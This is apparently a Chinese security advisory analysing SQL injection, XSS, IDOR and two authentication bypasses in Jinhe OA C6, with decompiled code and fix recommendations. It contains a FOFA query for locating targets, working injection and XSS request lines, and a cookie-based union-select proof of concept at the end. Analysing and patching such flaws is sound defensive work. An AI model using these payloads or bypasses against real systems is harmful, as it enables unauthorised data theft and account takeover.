金和OA C6 PlanGiveOut.aspx SQL注入漏洞+越权访问IDOR漏洞+XSS漏洞


漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 PlanGiveOut.aspx 接口处存在SQL注入漏洞、XSS漏洞、越权访问IDOR漏洞,攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

金和OA C6

fofa语法

app="金和网络-金和OA”

漏洞分析

攻击链全景

flowchart TD
    ATK(["👤 攻击者(公网·零凭据)"])

    subgraph BYPASS["① 鉴权绕过(二选一)"]
        direction LR
        B1["pathInfo 绕过<br/>请求加 <code>/x</code> 后缀<br/><b>零成本</b>"]
        B2["LoginByURL 日期密钥<br/>AES Key=当天日期×4<br/>免密登录"]
    end

    subgraph VULN["② PlanGiveOut 漏洞(未授权可达)"]
        V1[["SQL 注入<br/>planid/httpOID 拼接<br/>→ 拖库/提权"]]
        V2[["IDOR 越权<br/>枚举 planid<br/>→ 查看他人数据"]]
        V3[["XSS<br/>isCopy 反射 / DB字段存储"]]
    end

    SINK[["SQL Server<br/>new SqlCommand 拼接SQL<br/>SqlDBOperator.cs"]]

    ATK --> B1 --> V1 & V2 & V3
    ATK --> B2 --> V1 & V2 & V3
    V1 --> SINK

    classDef attacker fill:#fee,stroke:#c33,stroke-width:2px,color:#900
    classDef bypass fill:#fff3cd,stroke:#856404,stroke-width:2px
    classDef vuln fill:#f8d7da,stroke:#721c24,stroke-width:2px
    classDef sink fill:#d4edda,stroke:#155724,stroke-width:2px
    class ATK attacker
    class B1,B2 bypass
    class V1,V2,V3 vuln
    class SINK sink

一、鉴权分析

1.1 鉴权方式总览

PlanGiveOut 的鉴权由 四层构成,但实际防护极度薄弱:

层级 机制 代码位置 实际效果
① web.config ASP.NET 内置 forms 认证 web.config 仅要求"已登录",无角色限制
② Global.asax 全局鉴权事件 Global.cs 空实现,无自定义鉴权
③ 基类 Page 强制角色/模块校验 Page.cs(OnLoad) 未调用,无强制鉴权
④ 业务页 页面级鉴权 PlanGiveOut.cs 全文 无 RoleCtrl/KeyCtrl 调用
flowchart LR
    REQ(["HTTP 请求<br/>PlanGiveOut.aspx"])

    subgraph L1["① web.config"]
        W["allow users=*<br/>deny users=?<br/>仅拦截匿名"]
    end
    subgraph L2["② Global.asax"]
        G["BeginRequest: {} 空<br/>AuthenticateRequest: {} 空"]
    end
    subgraph L3["③ 基类 Page"]
        P["OnLoad 仅读 UserCode<br/>RoleCtrl/KeyCtrl 需主动调用"]
    end
    subgraph L4["④ PlanGiveOut"]
        PL["Page_Load 无 RoleCtrl<br/>ShowPlanInfo 无归属过滤"]
    end

    REQ --> L1 -->|放行已登录| L2 -->|空实现·直通| L3 -->|未强制调用| L4 -->|业务逻辑执行| DONE(["⚠️ 漏洞触发"])

    classDef layer fill:#e7f3ff,stroke:#2c6faa,stroke-width:1px
    classDef leak fill:#f8d7da,stroke:#721c24,stroke-width:2px
    class L1,L2,L3,L4 layer
    class DONE leak

① web.config 认证配置

<authentication mode="Windows">  <!-- -->
    <forms name="authenticationcookie"  <!-- -->
           loginUrl="JHSoft.Web.CustomQuery/info.aspx"
           protection="All" path="/" timeout="10">
    </forms>
</authentication>
<authorization>
    <allow users="*"></allow>  <!-- 允许所有(已认证)用户 -->
    <deny users="?"></deny>  <!-- 拒绝匿名用户 -->
</authorization>

mode="Windows" 与 <forms> 子节点共存属反常配置,实际由 forms 票据(authenticationcookie)生效。<deny users="?"> 仅拦截匿名用户——只要持有任意有效登录态即放行,不校验角色/模块权限。

② Global.asax 全局鉴权事件为空(Global.cs)

// JHSoftWare.dll → JHSoftWare.Global(Global.asax.cs)
protected void Application_BeginRequest(object sender, EventArgs e)
{
}   // Global.cs —— 空实现,请求入口阶段无任何检查

protected void Application_AuthenticateRequest(object sender, EventArgs e)
{
}   // Global.cs —— 空实现,认证阶段无任何自定义逻辑

Application_BeginRequest(请求最早阶段)与 Application_AuthenticateRequest(认证阶段)均为空方法。系统没有任何自定义鉴权拦截器,鉴权 100% 依赖 ASP.NET 内置机制。

三个已注册 HttpModule(web.config)同样不拦截鉴权:

// JHSoft.CustomQuery.HttpUploadModule.BeginRequest —— 仅处理上传,其余 return
private void Application_BeginRequest(object sender, EventArgs e)
{
    string text = context.Request.Path.ToLower();
    if (text.IndexOf("uploadfileiframe.aspx") == -1  // :只认上传页
        && text.IndexOf("uploadvideofileiframe.aspx") == -1
        && text.IndexOf("addnewfile.aspx") == -1)
        return;                                            // 非上传页直接放行
    ...
}
// JHWeb.qqfly.Upload.HttpUploadModule.BeginRequest —— 仅处理上传请求体
// JHSoft.Log.LogHttpModule.BeginRequest —— 完全空方法 {}

③ 基类 JHSoft.Base.Page 提供了鉴权方法但未强制调用(Page.cs)

// JHSoft.Base.dll → JHSoft.Base.Page(所有业务页基类)
public class Page : Page                                    // Page.cs
{
    protected override void OnLoad(EventArgs e)             // Page.cs
    {
        ...
        if (HttpContext.Current.Session["UserCode"] != null)  // Page.cs
        {
            string text2 = this.Session["UserCode"].ToString(); // Page.cs
            ...   // 仅读取用户配置(皮肤等),不做鉴权
        }
        this.OnLoad(e);                                     // Page.cs
    }

    public bool RoleCtrl(string Role1, string Role2)        // Page.cs —— 角色校验(需主动调用)
    {
        if (this.Session["UserCode"] != null)               // Page.cs
            text = this.Session["UserCode"].ToString();
        if (text == "Admin") flag = true;                   // Admin 直接放行
        ...
    }

    public void KeyCtrl(string keyCode)                     // Page.cs —— 模块校验(需主动调用)
}

RoleCtrl/KeyCtrl 是可选方法,需业务页主动调用才生效。PlanGiveOut 从未调用它们(全文无 RoleCtrl/KeyCtrl),所以第 ③ 层形同虚设。

④ PlanGiveOut 自身无鉴权(PlanGiveOut.cs)

// JHSoft.Web.PlanSummarize.dll → JHSoft.Web.PlanSummarize.PlanGiveOut
protected void Page_Load(object sender, EventArgs e)        // PlanGiveOut.cs
{
    ...
    if (this.Session["UserCode"] != null)                   // PlanGiveOut.cs —— 仅"读取",非校验
        this.strUserID = this.Session["UserCode"].ToString(); // PlanGiveOut.cs
    ...
    this.ShowPlanInfo(this.strPlanID);                      // PlanGiveOut.cs —— 直接进入业务逻辑
}

Page_Load 仅读取 Session["UserCode"](第 212-214 行),没有用它做任何权限判断。strUserID 取了值却在 ShowPlanInfo 中完全未参与 SQL 过滤(详见 2.3 IDOR)。

1.2 鉴权绕过

系统存在 两条独立的鉴权绕过路径,使 PlanGiveOut 的所有漏洞升级为未授权可达。

绕过方式 A:pathInfo 鉴权绕过(零成本,全站性)

现象(实测):/PlanGiveOut.aspx 与 /PlanGiveOut.aspx/(带尾斜杠)返回 302 跳登录;而 /PlanGiveOut.aspx/Planselect、/PlanGiveOut.aspx/PlanGiveOut、/PlanGiveOut.aspx/任意字符 不触发鉴权,直接响应。

根因:IIS 集成模式 + ASP.NET 4.x 下,带 pathInfo(.aspx/附加路径)的 URL 在 AuthorizeRequest 阶段的鉴权判定与纯页面 URL 不一致,<deny users="?"> 规则匹配不到带 pathInfo 的请求。

关键佐证(web.config):

<pages validateRequest="false" enableEventValidation="false"
       enableViewStateMac="false"></pages>  <!-- 三防护全关 -->
<httpRuntime requestValidationMode="2.0" .../>  <!-- -->
<validation validateIntegratedModeConfiguration="false"/>  <!-- 关闭集成模式校验 -->

关键性质:绕过与附加路径内容无关,只要存在 .aspx/yyy 结构即生效——PlanGiveOut 代码中无任何 [WebMethod],因此 /Planselect、/PlanGiveOut 并非调用特定方法,而是 pathInfo 结构本身让鉴权模块"看不见"该请求需鉴权。由于 Global.cs、三个 HttpModule、基类均不拦截 .aspx/(1.1 节已逐层确证),此绕过为全站性,适用于任意 .aspx 页面。

GET /JHSoft.Web.PlanSummarize/PlanGiveOut.aspx/x   →  绕过 <deny users="?"> ,未授权直达
GET /JHSoft.Web.PlanSummarize/PlanGiveOut.aspx      →  正常鉴权,302 跳登录
GET /JHSoft.Web.PlanSummarize/PlanGiveOut.aspx/     →  尾斜杠被规范化,无 pathInfo,302 跳登录

绕过方式 B:LoginByURL 日期密钥免密登录

入口:Jhsoft.Web.login/LoginByURL.aspx → LoginByURL.cs(JHSoft.Web.Login.dll)。

Decryptstr 方法用当天日期派生 AES 密钥(LoginByURL.cs):

// LoginByURL.cs
byte[] bytes = Encoding.Default.GetBytes(
    DateTime.Now.ToString("yyyyMMdd") + DateTime.Now.ToString("yyyyMMdd"));
//   IV  = 当天日期重复 2 次,如 "2026072920260729"(16 字节)
byte[] bytes2 = Encoding.Default.GetBytes(
    DateTime.Now.ToString("yyyyMMdd") + DateTime.Now.ToString("yyyyMMdd")
    + DateTime.Now.ToString("yyyyMMdd") + DateTime.Now.ToString("yyyyMMdd"));
//   Key = 当天日期重复 4 次,如 "20260729"×4(32 字节)
aES.CreateKey(bytes2, bytes);   // 用完全可预测的密钥解密登录凭据

AES 类(JHSoft.CustomQuery.dll → AES.cs)是标准 Rijndael,CreateKey 直接采用传入 Key/IV,无 KDF、无加盐:

// AES.cs
public void CreateKey(byte[] keyInfo, byte[] IVInfo)
{
    rij = Rijndael.Create();      // AES.cs
    rij.IV = IVInfo;              // AES.cs —— 直接用传入 IV
    rij.Key = keyInfo;            // AES.cs —— 直接用传入 Key
}

数据流转:

攻击者(已知当天日期)本地计算 Key/IV
   → AES 加密 "username=password=timestamp(当前时间)"
   → GET /Jhsoft.Web.login/LoginByURL.aspx?<Base64密文>
       ↓ LoginByURL.cs  Decryptstr 用【相同日期密钥】解密 → "Yes"
       ↓ LoginByURL.cs  roles.GetUserID(username) 取真实用户ID
       ↓ LoginByURL.cs  签发 FormsAuthenticationTicket(600 分钟有效)
       ↓ LoginByURL.cs  FormsAuthentication.Encrypt → 写 authenticationcookie
       ↓ LoginByURL.cs  CreateSession(text)
       ↓ CreateSession → LoginByURL.cs  Session["UserCode"] = 该用户UserID
   → 攻击者获得有效登录态

时间校验仅 ±1 分钟(LoginByURL.cs),即时生成即时使用即可,不构成障碍。

flowchart TD
    subgraph LOCAL["攻击者本地(已知服务器当天日期,如 20260729)"]
        D["日期派生密钥<br/>Key = 20260729 ×4 = 32字节<br/>IV = 20260729 ×2 = 16字节<br/><i>AES.cs 直接采用,无 KDF/加盐</i>"]
        ENC["AES 加密<br/>明文 = username=password=timestamp<br/>→ Base64"]
        D --> ENC
    end

    REQ["GET /Jhsoft.Web.login/LoginByURL.aspx?<密文>"]

    subgraph SRV["服务器 LoginByURL.cs"]
        DEC["Decryptstr<br/>用<b>相同日期密钥</b>解密 → 'Yes'"]
        UID["GetUserID<br/>取真实用户ID"]
        TKT["FormsAuthenticationTicket<br/>有效期 600 分钟"]
        COOKIE["写入 authenticationcookie"]
        SESS["CreateSession<br/>Session['UserCode'] = UserID"]
        DEC --> UID --> TKT --> COOKIE --> SESS
    end

    WIN(["✅ 获得有效登录态<br/>可访问 PlanGiveOut"])

    ENC --> REQ --> SRV --> WIN

    classDef local fill:#fff3cd,stroke:#856404,stroke-width:2px
    classDef server fill:#e7f3ff,stroke:#2c6faa,stroke-width:1px
    classDef win fill:#d4edda,stroke:#155724,stroke-width:2px
    class D,ENC,REQ local
    class DEC,UID,TKT,COOKIE,SESS server
    class WIN win

二、代码分析

2.1 入口文件与反编译定位

PlanGiveOut.aspx (前台)
   └─ Inherits="JHSoft.Web.PlanSummarize.PlanGiveOut"
        └─ 编译于 JHSoft.Web.PlanSummarize.dll → 反编译得 PlanGiveOut.cs
              └─ 数据访问调用 DBOperatorFactory.GetDBOperator()
                   └─ JHSoft.IDAL.dll → SqlDBOperator(实现类)

Page_Load(PlanGiveOut.cs)从请求取参数、调用 ShowPlanInfo:

protected void Page_Load(object sender, EventArgs e)
{
    if (this.Request.QueryString["isCopy"] != null)  // —— 反射XSS Source
        this.isreadonly = this.Request.QueryString["isCopy"];  // —— 原样赋值无校验
    ...
    if (this.Request["planid"] != null)  // —— SQL注入 Source
        this.strPlanID = this.Request["planid"].ToString();  // if (this.Session["UserCode"] != null)  // this.strUserID = this.Session["UserCode"].ToString();  // —— 取了但查询不用
    if (this.Request["httpOID"] != null)  // —— 第二个注入 Source
    {
        this.strPlanID = this.Request["httpOID"].ToString();  // —— 覆盖 planid
        this.strHttpOID = this.strPlanID;
    }
    this.ShowPlanInfo(this.strPlanID);  // —— 进入注入 Sink
}

2.2 反编译关键 DLL — SQL 注入 Sink 追踪

ShowPlanInfo(PlanGiveOut.cs)将 strPlanID 直接字符串拼接进 SQL:

private void ShowPlanInfo(string strPlanID)                 // PlanGiveOut.cs
{
    DBOperator dBOperator = DBOperatorFactory.GetDBOperator();  // empty = " select UserID,username,planyear,... from [plan] left join ...";
    empty = empty + " where planid=" + strPlanID;  // —— 注入点①(数字型)
    empty = empty + " select * from plancontent where planfatherid="
            + strPlanID + " order by plancontent.PlanID asc";  // —— 注入点②(数字型)
    dataSet = dBOperator.ExecSQLReDataSet(empty);  // —— 执行
    ...
    // 二阶注入(来自首次查询结果)
    empty = "select * from PlanContent where PlanContent.PlanFatherID=(";
    empty = empty + " select top 1 PlanID from [Plan] where PlanFlag=" + text3
            + " and PlanYear=" + array[0]
            + " and PlanMonW=" + array[1]
            + " and RegCode='" + text6 + "' and PlanTypeID=" + text2 + ")";  // —— 注入点③
    dataTable = dBOperator.ExecSQLReDataTable(empty);  // }

逐层下沉到 SqlDBOperator(JHSoft.IDAL.dll),确证 零参数化:

// SqlDBOperator.cs
public override DataSet ExecSQLReDataSet(string QueryString)  // {
    DataSet dataSet = new DataSet();
    ReturnMethord returnResult = ReturnDataSet;
    ExecSQL(QueryString, dataSet, returnResult);  // return dataSet;
}

private object ExecSQLNotInTrans(string QueryString, ...)  // {
    ...
    comm = new SqlCommand(QueryString, conn);  // —— QueryString 即完整SQL
    comm.CommandType = CommandType.Text;  // —— 纯文本命令
    ...
    ReValue = ReturnResult(comm, ReValue);  // }

private object ReturnDataSet(SqlCommand comm, object ReValue)  // {
    SqlDataAdapter val = new SqlDataAdapter(comm);
    ((DataAdapter)val).Fill(ReValue as DataSet);  // —— Fill 支持批处理
    return ReValue;
}

Sink 确证:new SqlCommand(QueryString, conn)直接吞下拼接好的 SQL 字符串,CommandType.Text按原始 SQL 解析,SqlDataAdapter.Fill(DataSet)执行。整条链路无任何参数化绑定。

flowchart TD
    SRC1(["Source ①②<br/>Request['planid'] / Request['httpOID']<br/>GET / POST / Cookie 均可"])
    SRC3(["Source ③(二阶)<br/>DB: PlanFlag / RegCode"])

    subgraph PLAN["PlanGiveOut.cs"]
        LGET["取参数<br/>→ strPlanID"]
        LSQL1["拼接<br/>where planid={strPlanID}"]
        LSQL2["拼接<br/>where planfatherid={strPlanID}"]
        LEXEC1["<br/>ExecSQLReDataSet(empty)"]
        LSQL3["拼接<br/>where PlanFlag={text3}...RegCode='{text6}'"]
        LEXEC2["<br/>ExecSQLReDataTable"]
        LGET --> LSQL1 & LSQL2 --> LEXEC1
        LSQL3 --> LEXEC2
    end

    subgraph DAL["JHSoft.IDAL → SqlDBOperator.cs"]
        EDAL["ExecSQLReDataSet<br/>ExecSQLReDataTable"]
        EEXEC["ExecSQLNotInTrans"]
        ECMD["<br/>new SqlCommand(QueryString, conn)<br/><b>QueryString = 完整SQL,零参数化</b>"]
        ETYPE["<br/>CommandType = Text"]
        EFILL["<br/>SqlDataAdapter.Fill(DataSet)<br/><b>支持批处理/堆叠</b>"]
        EDAL --> EEXEC --> ECMD --> ETYPE --> EFILL
    end

    DB[("🗄️ SQL Server<br/>联合查询 / xp_cmdshell")]

    SRC1 --> LGET
    SRC3 --> LSQL3
    LEXEC1 --> EDAL
    LEXEC2 --> EDAL
    EFILL --> DB

    classDef source fill:#fff3cd,stroke:#856404,stroke-width:2px
    classDef biz fill:#e7f3ff,stroke:#2c6faa,stroke-width:1px
    classDef dal fill:#f8d7da,stroke:#721c24,stroke-width:2px
    classDef db fill:#d4edda,stroke:#155724,stroke-width:2px
    class SRC1,SRC3 source
    class LGET,LSQL1,LSQL2,LEXEC1,LSQL3,LEXEC2 biz
    class EDAL,EEXEC,ECMD,ETYPE,EFILL dal
    class DB db

2.3 存在的漏洞点

漏洞 1:SQL 注入(严重,Critical)

注入点 行号 Source Sink 类型
① PlanGiveOut.cs Request["planid"] ExecSQLReDataSet 数字型
② PlanGiveOut.cs Request["planid"]/httpOID 同上 数字型
③ PlanGiveOut.cs DB(PlanFlag/RegCode等) ExecSQLReDataTable 二阶
  • 支持方式:因 Request["planid"] 为通用索引器(QueryString → Form → Cookies),GET / POST / Cookie 三种方式均可注入。
  • 支持手法:Fill(DataSet) 支持批处理(第 246-247 行拼了两条 select,中间无分号即被分入两个 Table),故联合查询注入与堆叠注入均可。
  • 类型校验在注入之后:int.Parse(text4)在 ExecSQLReDataSet之后执行,注入已完成,后续异常不影响效果。

漏洞 2:存储型 XSS(高)

PlanGiveOut.aspx 用 <%= %>(Response.Write 等价)输出数据库字段,仅 Replace("\n","<br>")、无 HTML 编码:

前台输出(ASPX) 后端赋值(PlanGiveOut.cs) DB 来源
<%=PrioPlanContent%> dataTable.Rows[i]["PlanContent"] PlanContent
<%=strPlanSum%> PlanSumUp + Replace("\n","<br>") PlanSumUp
<%=CurrentPlanContent%> dataSet.Tables[1][...]["PlanContent"] PlanContent
<%=strLeaderIdea%> LeaderIdea + Replace("\n","<br>") LeaderIdea

写入入口为计划录入页(WorkPlanAdd.aspx 等),写入后被本页未编码输出,触发于任何查看者(含领导/管理员)。

漏洞 3:反射型 XSS(高)— isCopy

Source(PlanGiveOut.cs):

if (this.Request.QueryString["isCopy"] != null)  // —— 仅 QueryString
    this.isreadonly = this.Request.QueryString["isCopy"];  // —— 无白名单校验

Sink(PlanGiveOut.aspx):

<body ... onselectstart="return !<%=isreadonly%>">

注入 ?isCopy=false;alert(document.cookie)// → 渲染为 onselectstart="return !false;alert(...)//" 触发执行。该参数只能经 GET(明确用 QueryString)。

漏洞 4:越权访问 IDOR(高)

strUserID取自 Session["UserCode"],但 ShowPlanInfo 的 SQL 完全未用 strUserID 做归属过滤(where planid=strPlanID)。任意已登录用户枚举 planid 即可越权查看他人/他部门的计划、总结、领导批示。

2.4 参数获取方式 / 请求方式分析

漏洞的可利用性首先取决于"参数从哪种 HTTP 请求里取"。ASP.NET 提供了多个取值 API,它们能触达的请求通道完全不同。本节逐参数对照源码确证。

2.4.1 ASP.NET 取值 API 的通道差异(原理)

取值写法 数据来源查找范围 可触达的请求通道
Request.QueryString["k"] 仅 URL 查询串 只能 GET
Request.Form["k"] 仅 POST 请求体 只能 POST
Request.Cookies["k"] 仅 Cookie 头 只能 Cookie
Request["k"] / Request.Params["k"] 按序查 QueryString → Form → Cookies → ServerVariables GET / POST / Cookie / 请求头均可

关键区别:Request["k"](通用索引器)不区分通道,会按固定顺序遍历所有集合。这意味着只要代码用它取参,攻击者就能选择最隐蔽的通道注入(如 Cookie,WAF 常不检查)。

2.4.2 逐参数对照源码

PlanGiveOut.Page_Load 中每个 Source 参数的读取方式:

参数 代码写法 API 类型 可注入通道 对应漏洞
planid Request["planid"] 通用索引器 GET / POST / Cookie / 头 SQL注入 ①②、IDOR
httpOID Request["httpOID"] 通用索引器 GET / POST / Cookie / 头 SQL注入(覆盖 planid)
isCopy Request.QueryString["isCopy"] 仅 QueryString 只能 GET 反射型 XSS

源码印证(PlanGiveOut.cs 的 Page_Load):

// —— 通用索引器(多通道):SQL 注入面
if (this.Request["planid"] != null)      // GET/POST/Cookie 均可
    this.strPlanID = this.Request["planid"].ToString();
if (this.Request["httpOID"] != null)     // GET/POST/Cookie 均可
    this.strPlanID = this.Request["httpOID"].ToString();

// —— 仅 QueryString(单通道):反射 XSS 面
if (this.Request.QueryString["isCopy"] != null)   // 只能 GET
    this.isreadonly = this.Request.QueryString["isCopy"];

注意 planid 与 httpOID 的覆盖关系:httpOID 在 planid 之后读取,若两者同传,httpOID 会覆盖 planid。但两者都走通用索引器,注入通道一致,对攻击者无差别。

2.4.3 各通道的实际利用方式

① GET(URL 参数) — 最直接,但最易被 WAF/日志捕获:

GET /JHSoft.Web.PlanSummarize/PlanGiveOut.aspx/x?planid=1%20union%20select%20... HTTP/1.1
GET /JHSoft.Web.PlanSummarize/PlanGiveOut.aspx/x?isCopy=false;alert(1)// HTTP/1.1

② POST(请求体) — Request[] 同样接收,即使前端表单无该字段:

POST /JHSoft.Web.PlanSummarize/PlanGiveOut.aspx/x HTTP/1.1
Content-Type: application/x-www-form-urlencoded

planid=1 union select ...

③ Cookie 注入 — Request[] 会查找 Cookies 集合,隐蔽性最强(URL 干净,常绕过只检 URL 的 WAF/IDS):

GET /JHSoft.Web.PlanSummarize/PlanGiveOut.aspx/x HTTP/1.1
Cookie: planid=1 union select ...;

④ 反射型 XSS 的限制:isCopy 用 Request.QueryString,只能 GET。无法通过 POST/Cookie 触发该 XSS。

2.4.4 汇总

flowchart TD
    REQ(["攻击请求"])

    subgraph CH["注入通道(取决于取值 API)"]
        direction LR
        GET["GET URL参数<br/><i>planid / httpOID / isCopy</i><br/>QueryString + Request[]"]
        POST["POST 请求体<br/><i>planid / httpOID</i><br/>Request[] 接收"]
        COOKIE["Cookie 头<br/><i>planid / httpOID</i><br/>Request[] 接收·最隐蔽"]
    end

    subgraph API["取值 API 决定通道"]
        Q["Request.QueryString<br/>= 只能 GET<br/><b>isCopy 专属</b>"]
        R["Request[...] 通用索引器<br/>= GET/POST/Cookie/头<br/><b>planid · httpOID</b>"]
    end

    VULN{{"漏洞触发"}}
    SQL["SQL 注入<br/>planid/httpOID"]
    XSS["反射 XSS<br/>仅 isCopy·仅 GET"]

    REQ --> CH
    GET --> SQL & XSS
    POST --> SQL
    COOKIE --> SQL
    Q -.->|限制| XSS
    R -.->|多通道| SQL
    SQL --> VULN
    XSS --> VULN

    classDef chan fill:#e7f3ff,stroke:#2c6faa
    classDef api fill:#fff3cd,stroke:#856404,stroke-width:2px
    classDef v fill:#f8d7da,stroke:#721c24,stroke-width:2px
    class GET,POST,COOKIE chan
    class Q,R api
    class SQL,XSS,VULN v

结论:

  • SQL 注入 / IDOR(planid、httpOID):走 Request[] 通用索引器,GET、POST、Cookie 三通道均可。其中 Cookie 注入最隐蔽,是金和 OA 这类老系统(普遍用 Request[])的典型绕 WAF 手法。
  • 反射型 XSS(isCopy):走 Request.QueryString,仅 GET 单通道。
  • 结合 1.2 节 pathInfo 绕过,任一通道均可叠加 /x 后缀实现未授权利用。

2.5 结合鉴权绕过的未授权利用

经 1.2 节绕过后,上述漏洞全部未授权可达:

GET /JHSoft.Web.PlanSummarize/PlanGiveOut.aspx/x?planid=1 union select ...
    ↑ pathInfo 绕过鉴权(零成本)        ↑ 未授权 SQL 注入

或经 LoginByURL 获得登录态后访问 /PlanGiveOut.aspx?planid=...。两条绕过路径均使 PlanGiveOut 的 SQL 注入、IDOR、XSS 降级为未授权可达,无需任何账号凭据。


三、修复建议

漏洞 修复措施 关键代码指针
SQL 注入 改用参数化查询(底层已支持) SqlDBOperator.ExecSQLParameterReDataSet(接 IDataParameter[]);planid/httpOID 入口加 int.TryParse
pathInfo 绕过 Global.asax 的 BeginRequest 拦截 .aspx/ 路径;或 URL Rewrite;升级 .NET 补丁 Global.cs 当前为空
存储型 XSS <%= %> 改 <%: %>(自动 HtmlEncode) PlanGiveOut.aspx
反射型 XSS isreadonly 服务端计算,不接受 Request["isCopy"] PlanGiveOut.cs
IDOR ShowPlanInfo 的 WHERE 加 RegCode=@UserID 归属校验 PlanGiveOut.cs
LoginByURL 绕过 密钥不可由日期派生;改随机密钥或 HMAC 签名 LoginByURL.cs
鉴权强化 业务页加 RoleCtrl/KeyCtrl;Application_AuthenticateRequest 实现强制校验 Page.cs、Global.cs

四、漏洞汇总

# 漏洞 等级 利用条件 未授权可达
1 SQL 注入(planid/httpOID) 严重 pathInfo 绕过后零认证 ✅
2 二阶 SQL 注入 高 同上 ✅
3 pathInfo 全站鉴权绕过 严重 改 URL 加 /x —
4 LoginByURL 日期密钥绕过 严重 已知服务器日期 —
5 存储型 XSS 高 触发需他人查看 —
6 反射型 XSS(isCopy) 高 pathInfo 绕过后未授权 ✅
7 IDOR 越权 高 pathInfo 绕过后未授权 ✅

核心结论:PlanGiveOut.aspx 存在 SQL 注入、XSS、IDOR 等漏洞,且系统存在 pathInfo 全站鉴权绕过与 LoginByURL 日期密钥绕过两条独立绕过路径,使上述漏洞全部升级为未授权、零成本可达,构成从公网直接拖库的 Critical 级风险。

flowchart LR
    NET(("🌐 公网<br/>攻击者"))

    subgraph GATE["鉴权层"]
        direction TB
        NORMAL["正常请求<br/>PlanGiveOut.aspx<br/>→ 302 拦截 ✓"]
        BYPASS1["pathInfo 绕过<br/>PlanGiveOut.aspx/x<br/>→ 未授权 ✗"]
        BYPASS2["LoginByURL 密钥<br/>日期派生AES<br/>→ 免密登录 ✗"]
    end

    subgraph CORE["业务漏洞层(经绕过·未授权)"]
        direction TB
        SQL["🔥 SQL 注入<br/>planid 拼接<br/>→ 拖库/RCE"]
        IDOR["🔓 IDOR<br/>枚举 planid<br/>→ 越权查看"]
        XSS["💉 XSS<br/>isCopy / DB字段<br/>→ 盗Cookie"]
    end

    IMPACT[["💥 影响<br/>数据库泄露 / 服务器控制<br/>零凭据·从公网直达"]]

    NET --> NORMAL
    NET --> BYPASS1 & BYPASS2 --> CORE --> IMPACT

    classDef net fill:#e2e3e5,stroke:#383d41
    classDef blocked fill:#d4edda,stroke:#155724,stroke-width:2px
    classDef broken fill:#f8d7da,stroke:#721c24,stroke-width:2px
    classDef impact fill:#fee,stroke:#c33,stroke-width:2px,color:#900
    class NET net
    class NORMAL blocked
    class BYPASS1,BYPASS2,SQL,IDOR,XSS broken
    class IMPACT impact

漏洞复现

GET /C6/JHSoft.Web.PlanSummarize/PlanGiveOut.aspx/xxx HTTP/1.1
Host: 
Cookie: planid=1 union all select 1,2,3,4,5,6,7,@@version,9,10,11,12,13-- aa;


手机扫码阅读

用友GRP-U8Cloud产品jmreport组件模块Freemarker模板SSTI致RCE漏洞分析

用友U8Cloud extsystem.dst 接口SQL注入漏洞

评 论